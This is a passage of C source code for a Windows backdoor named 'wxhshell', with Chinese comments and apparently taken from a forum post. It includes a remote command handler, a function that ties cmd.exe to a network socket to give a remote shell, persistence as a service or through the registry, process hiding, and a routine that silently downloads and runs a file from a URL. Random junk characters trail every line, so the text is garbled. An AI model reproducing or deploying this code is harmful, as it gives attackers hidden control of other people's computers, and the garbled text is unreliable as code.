  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aH"c0 A  
  } F'*&-l  
  else { 0-HE, lv  
9F4|T7?  
    switch(cmd[0]) { 3NWAy Cq-  
  21j+c{O  
  // 帮助 ;~;St>?\R\  
  case '?': { g7F Z -  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dfcG'+RU}  
    break; #^V"=RbD  
  } }('' |z#UE  
  // 安装 qZ }XjL  
  case 'i': { N|LVLsK  
    if(Install()) .>&fwG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [{*#cr f  
    else  %C:XzK-x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TI  
    break; 'a*IZb-M  
    } _@TTVd  
  // 卸载 l$KcS&{w9  
  case 'r': { +rY0/T_0,  
    if(Uninstall()) 6vA 5;a@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;N|>pSzmL  
    else 6iWuBsal  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^*Fkt(ida  
    break; uNg.y$>CX  
    } G9q0E|  
  // 显示 wxhshell 所在路径 ?J ?!%Mw  
  case 'p': { <,C})H?  
    char svExeFile[MAX_PATH]; (?[cDw/{J:  
    strcpy(svExeFile,"\n\r"); '3->G/Pu  
      strcat(svExeFile,ExeFile); 8msDJ {,X  
        send(wsh,svExeFile,strlen(svExeFile),0); 0k 8SDRWU  
    break; $z]l4Hj  
    } +pm8;&  
  // 重启 F o6U "  
  case 'b': { vGw}e&YI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p]oo^  
    if(Boot(REBOOT)) m+"%Jd{q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jw[`\h}8  
    else { b1 cd5  
    closesocket(wsh); 1P_bG47  
    ExitThread(0); TbuR?#  
    } gjV&X N  
    break; 91XHz14  
    } '5--eYG  
  // 关机 5KSsRq/8"  
  case 'd': { IuF-bxA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Q!j7I  
    if(Boot(SHUTDOWN)) :u0433z:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =I1@O9}+i  
    else { enj2xye%Y  
    closesocket(wsh); %9.KH  
    ExitThread(0); AF-.Nwp   
    } R YNz TA  
    break; H>]x<#uz)  
    } =$Z'F<|d  
  // 获取shell OUPpz_y  
  case 's': { ?6bE!36  
    CmdShell(wsh); <k!G%R<9  
    closesocket(wsh); #p >PNW-  
    ExitThread(0); 5UbVg  
    break; W>y_q  
  } KI{u:Lbi  
  // 退出 hl+Yr)0\  
  case 'x': { 5 \J;EWTU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oSoG&4  
    CloseIt(wsh); K\q/JuDfc  
    break; 4hs4W,2!  
    } SccU @3.X~  
  // 离开 ?*;zS%93U9  
  case 'q': { 49m/UeNZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GFid riC  
    closesocket(wsh); Mi/_hzZ\  
    WSACleanup(); j; C(:6#J  
    exit(1); ,3j*D+  
    break; THJ+OnP  
        } _xUXt)k  
  } UPC& O  
  } K&*FI (a  
1jyWP#M#  
  // 提示信息 r4sR5p]|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8z-Td-R6  
} 83a Rq&(R  
  } 9maw+c!~  
gyK"#-/_d  
  return; K*<n<;W  
} S]>_o"|HV  
^ =ikxZyO  
// shell模块句柄 d<Di;5  
int CmdShell(SOCKET sock) w <ID<  
{ Ou%>Dd5|?  
STARTUPINFO si; bCF63(0  
ZeroMemory(&si,sizeof(si)); a srkuAS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4$^=1ax  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K02./ut-  
PROCESS_INFORMATION ProcessInfo; 2gGJ:,RC$  
char cmdline[]="cmd"; {e^llfj$#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tla*V#:Ve  
  return 0; vB p5&*  
} ?>_.~b ~  
I2 dt#  
// 自身启动模式  ,Y!)V  
int StartFromService(void) 'K1w.hC<  
{ =aCv Xa&,  
typedef struct aE"t['  
{ Wac8x%J  
  DWORD ExitStatus; -=RXhE_{  
  DWORD PebBaseAddress; 2g$Wv :E3  
  DWORD AffinityMask; K6X1a7  
  DWORD BasePriority; j405G4BVW  
  ULONG UniqueProcessId; vcmS]$}  
  ULONG InheritedFromUniqueProcessId; G\ofg  
}   PROCESS_BASIC_INFORMATION; D7%89qt  
y+PukHY  
PROCNTQSIP NtQueryInformationProcess; p d6d(  
(_T&2%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u-Vnmig9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r?Vob}'Pt]  
s|%</fMt9  
  HANDLE             hProcess; SnqLF /d  
  PROCESS_BASIC_INFORMATION pbi; Cur) |  
=p"0G%+%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^c5(MR7LD  
  if(NULL == hInst ) return 0; {^qc`oF  
Eq?o /'e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fTeo,N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q,$x6YwE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (xTHin$  
$Z j.  
  if (!NtQueryInformationProcess) return 0; EPI*~=Z.U  
MS b{ve_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =Yfs=+O  
  if(!hProcess) return 0; v=4TU \b%  
x .q%O1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W% P&o}'  
ZG>OT@ GA  
  CloseHandle(hProcess); 0,c z&8  
ji2#O.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oGM.{\i  
if(hProcess==NULL) return 0; #GF1MFkoS  
>M!>Hl/  
HMODULE hMod; W+#?3s[FV  
char procName[255]; @MM|.# ~T  
unsigned long cbNeeded; +]6 EkZO  
(|x->a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DW-LkgfA  
,QQ:o'I!  
  CloseHandle(hProcess); *<hpq)  
2Zm*f2$xM  
if(strstr(procName,"services")) return 1; // 以服务启动 fZZ!kea[  
:$WRV-  
  return 0; // 注册表启动 N_ >s2  
} Q>rQ/V  
LOA 90.D  
// 主模块 ;V;4#  
int StartWxhshell(LPSTR lpCmdLine) ?YS`?Rr  
{ J kA~Ol  
  SOCKET wsl; +bSv-i-  
BOOL val=TRUE; (3-G<E  
  int port=0; 'G^=>=w|Nv  
  struct sockaddr_in door; H)p{T@  
V>nY?  
  if(wscfg.ws_autoins) Install();  lG{J  
I;7{b\t Q  
port=atoi(lpCmdLine); Rpr# ,|  
{R#nGsrt;  
if(port<=0) port=wscfg.ws_port; IP >An8+  
gW, ET  
  WSADATA data; #RSxo 4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |\ ay^@N  
NlDM/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \)v.dQ!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]D%[GO//!  
  door.sin_family = AF_INET; !nu['6I%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i2*nYd`K  
  door.sin_port = htons(port); /L~*FQQK>  
Ne[O9D 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $xl*P#  
closesocket(wsl); " JRlj  
return 1; #?/.LMn{  
} $^l=#tV  
&a0%7ea`.S  
  if(listen(wsl,2) == INVALID_SOCKET) { F ^\v`l,  
closesocket(wsl); '%MIG88  
return 1; brFOQU?  
} 6!'yU=Z`  
  Wxhshell(wsl); 6R<%. -qr  
  WSACleanup(); A +p}oY '  
P8EGd}2{8  
return 0; mZ5UaSG  
rS jC/O&b  
} ug{F?LW[  
)uaB^L1  
// 以NT服务方式启动 #Y:/^Q$_qS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZibODs=f;  
{ UX0tI0.tg  
DWORD   status = 0; *iR`mZb  
  DWORD   specificError = 0xfffffff; ~}5(J,1!  
pif8/e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <HD/&4$[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w\M_3}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q&M;rIo?  
  serviceStatus.dwWin32ExitCode     = 0; Vg3&:g5 /  
  serviceStatus.dwServiceSpecificExitCode = 0; !6KEW,  
  serviceStatus.dwCheckPoint       = 0; }[Y):Yy  
  serviceStatus.dwWaitHint       = 0; X4TUi8ht!]  
4e(@b3y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uag1vW,c  
  if (hServiceStatusHandle==0) return; oacY-&  
*Dn{MD7,M  
status = GetLastError(); 0uvL,hF  
  if (status!=NO_ERROR) sPw(+m*C   
{ 51&T`i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f8j^a?d|  
    serviceStatus.dwCheckPoint       = 0; Glwpu-@X  
    serviceStatus.dwWaitHint       = 0; {Xp.}c  
    serviceStatus.dwWin32ExitCode     = status; ?-VN+ d7  
    serviceStatus.dwServiceSpecificExitCode = specificError; <Du*Re6g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VMHY.Rf  
    return; 94R+S-|P  
  } $DVy$)a!u  
D9Z5g3s7R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -lp_~)j^  
  serviceStatus.dwCheckPoint       = 0; [ M'1aBx^  
  serviceStatus.dwWaitHint       = 0; 8sg *qQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wVvU]UT  
} HqgH\  
NanU%# &  
// 处理NT服务事件,比如:启动、停止 I|M*yObl6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >!2'|y^  
{ ZQ:Y5 ph  
switch(fdwControl) 7-LeJRB  
{ ]+Vcuzq/  
case SERVICE_CONTROL_STOP: Pv'x|p*  
  serviceStatus.dwWin32ExitCode = 0; 3l^pY18H'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V]AL'}( 0  
  serviceStatus.dwCheckPoint   = 0; '*k\IM{h  
  serviceStatus.dwWaitHint     = 0; `MD/C Fl4  
  { Fzu{,b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,&9|Ac?$  
  } 5(W9Jj]  
  return; 3k/Mig T  
case SERVICE_CONTROL_PAUSE: . FruI#99  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o]Ki+ U  
  break; V OX>Sl  
case SERVICE_CONTROL_CONTINUE: P TP2QAt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nh))U  
  break; XVfQscZe  
case SERVICE_CONTROL_INTERROGATE: Hke\W'&  
  break; b-Hn=e_  
}; ?/wloLS47  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dmw,Bi*  
} c ~ SI"  
g:EU\  
// 标准应用程序主函数 h(L5MZs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9+:Trc\%N  
{ 4Y2>w  
 fwEi//1  
// 获取操作系统版本 $CmTsnR1#y  
OsIsNt=GetOsVer(); (07d0<<[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); " duJl-  
{x: IsQZ  
  // 从命令行安装 x#^kv)  
  if(strpbrk(lpCmdLine,"iI")) Install(); `et<Z  
U]acm\^Z  
  // 下载执行文件 . ~<+  
if(wscfg.ws_downexe) { 5"Yw$DB9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g9XtE  
  WinExec(wscfg.ws_filenam,SW_HIDE); .EcMn  
} |2# Ro*  
u;!Rv E8N  
if(!OsIsNt) { `+uXL9mo  
// 如果时win9x,隐藏进程并且设置为注册表启动 J3]m*i5A  
HideProc(); 4Y!v$r  
StartWxhshell(lpCmdLine); ;p9D2&  
} ]Oy<zU  
else -O5m@rwt<  
  if(StartFromService()) -%.V0=G(Z  
  // 以服务方式启动 iH>djGhTh  
  StartServiceCtrlDispatcher(DispatchTable); U*@_T3N  
else 7d)aDc*TjW  
  // 普通方式启动 *l//r V?l  
  StartWxhshell(lpCmdLine); Go|65Z\`7M  
m+g>s&1H  
return 0; epF>z   
}
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只看该作者 1 发表于: 2006-10-10
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